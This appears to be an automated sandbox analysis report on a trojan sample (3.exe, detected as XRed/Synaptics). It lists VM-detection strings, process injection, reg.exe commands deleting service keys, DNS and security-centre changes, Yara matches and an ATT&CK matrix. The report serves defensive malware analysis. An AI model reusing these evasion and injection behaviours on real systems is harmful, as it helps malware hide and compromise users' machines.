Source: svchost.exe, 00000006.00000002.3710383212.0000025226E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: 3.exe, 00000000.00000003.1316098733.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Synaptics.exe, 0000000C.00000002.1824235333.0000000000586000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000057C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.000000000052C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2746357614.00000273FB855000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3789630737.0000000002C71000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3809025725.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.1456360700.000002766F4AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.3713827391.000002766F4AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.1556311727.000002766F4AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.1454945933.000002766F4AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.1627019342.000002766F4AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: C2485384.exe, 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp	Binary or memory string: VMWARE
Source: C2485384.exe, 00000011.00000002.3932970599.0000000010A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Physical Disk Helper ServiceVMToolsvmvss
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: svchost.exe, 0000000E.00000002.2746357614.00000273FB855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWindows\System32\rasadhlp.dll
Source: svchost.exe, 00000006.00000002.3712282938.0000025226F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000E.00000002.2745374815.00000273F622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@g
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: ._cache_3.exe, 00000005.00000002.1450007994.0000000003501000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: svchost.exe, 00000008.00000002.3710480607.000002C118887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: svchost.exe, 0000000B.00000002.3712142536.000001899B431000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C2485384.exe, 00000011.00000002.3932970599.0000000010A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: llvmtoolsd.exe
Source: C2485384.exe, 00000011.00000002.3932970599.0000000010A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\ControlSet001\Control\VideoVMwareP
Source: svchost.exe, 00000008.00000002.3710480607.000002C118887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: svchost.exe, 00000006.00000002.3709862623.0000025226E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000006.00000002.3711114032.0000025226E65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000%
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc$
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000SCSI\CdRomNECVMWarVMware_SATA_CD001.00SCSI\CdRomNECVMWarVMware_SATA_CD00SCSI\CdRomNECVMWarSCSI\NECVMWarVMware_SATA_CD001NECVMWarVMware_SATA_CD001GenCdRom
Source: svchost.exe, 00000014.00000002.3724091353.000002767024A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: svchost.exe, 00000006.00000002.3709862623.0000025226E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}R
Source: 3.exe, 00000000.00000003.1316098733.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}N8
Source: svchost.exe, 00000006.00000002.3709243950.0000025226E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: C2485384.exe, 00000011.00000002.3932970599.0000000010A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMTools
Source: svchost.exe, 00000014.00000002.3712719784.000002766F42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW UKov
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: C2485384.exe, 00000011.00000002.3932970599.0000000010A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Control\VideoVMwareP
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: C2485384.exe, 00000011.00000002.3809025725.0000000007B94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: svchost.exe, 00000006.00000002.3709862623.0000025226E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 00000006.00000002.3710383212.0000025226E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: svchost.exe, 00000008.00000002.3710480607.000002C118887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk

Source: C:\Program Files (x86)\Google\C2485384.exe

API call chain: ExitProcess graph end node

graph_17-34845

Source: C:\Users\user\Desktop\._cache_3.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_625523CC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

17_2_625523CC

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_6251F3F0 _memset,WSACreateEvent,GetCurrentProcessId,WSASocketA,WSAGetLastError,_sprintf,OutputDebugStringA,WSAEventSelect,_malloc,

17_2_6251F3F0

Source: C:\Program Files (x86)\Google\C2485384.exe

17_2_6252E110

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_625523CC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

17_2_625523CC

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\._cache_3.exe

Memory allocated: C:\Program Files (x86)\Google\C2485384.exe base: 400000 protect: page execute and read and write

Jump to behavior

Found driver which could be used to inject code into processes

Source: A0A461yPs.sys.17.dr	Static PE information: Found potential injection code
Source: C2485384.sys.17.dr	Static PE information: Found potential injection code
Source: 7361p1CQa.sys.17.dr	Static PE information: Found potential injection code
Source: A0E0ohaVQ.sys.17.dr	Static PE information: Found potential injection code

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\._cache_3.exe

Memory written: C:\Program Files (x86)\Google\C2485384.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: C:\Program Files (x86)\Google\C2485384.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: C:\Program Files (x86)\Google\C2485384.exe base: 172E000	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: C:\Program Files (x86)\Google\C2485384.exe base: 2BC9000	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: C:\Program Files (x86)\Google\C2485384.exe base: 2BCA000	Jump to behavior

Source: C:\Users\user\Desktop\3.exe	Process created: C:\Users\user\Desktop\._cache_3.exe "C:\Users\user\Desktop\._cache_3.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Process created: C:\Program Files (x86)\Google\C2485384.exe "C:\Program Files (x86)\google\C2485384.exe" WfCSiyl7KCmSdCh9fCp6eymBklp7KYEqfR6SPI15L3l2e43pPHsme04=	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A0A461yPs /f	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\7361p1CQa /f	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7476 -ip 7476
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 8012

Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	17_2_0BB76404
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: GetLocaleInfoA,	17_2_0BB76D4C
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: GetLocaleInfoA,	17_2_0BB7E594
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	17_2_0BB7650F
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: GetLocaleInfoA,	17_2_0BB7E548
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: GetLocaleInfoA,GetACP,	17_2_0BB7FB64
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: _strcpy_s,GetLocaleInfoA,__snwprintf_s,LoadLibraryA,	17_2_625405F9

Source: C:\Users\user\Desktop\3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB7CF84 GetLocalTime,

17_2_0BB7CF84

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_6255BC3B __lock,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,__getenv_helper_nolock,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

17_2_6255BC3B

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB76E15 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

17_2_0BB76E15

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Source: svchost.exe, 0000000A.00000002.3718727924.0000022265102000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000A.00000002.3718727924.0000022265102000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: 3.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA074.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Modifies the DNS server

Source: C:\Program Files (x86)\Google\C2485384.exe	Registry value created: 8.8.8.8,114.114.114.114			Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Registry value created: 8.8.8.8,114.114.114.114			Jump to behavior

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: 3.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA074.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BBD3958 ks_unbind,

17_2_0BBD3958

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	1 Windows Management Instrumentation	41 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Peripheral Device Discovery	Remote Desktop Protocol	1 Credential API Hooking	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	31 Windows Service	31 Windows Service	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Registry Run Keys / Startup Folder	411 Process Injection	2 Software Packing	NTDS	147 System Information Discovery	Distributed Component Object Model	Input Capture	214 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	471 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	32 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Modify Registry	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	151 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	411 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3.exe	85%	Virustotal		Browse
3.exe	84%	ReversingLabs	Win32.Trojan.Synaptics
3.exe	100%	Avira	WORM/Delphi.Gen
3.exe	100%	Avira	W2000M/Dldr.Agent.17651006
3.exe	100%	Joe Sandbox ML

Dropped Files

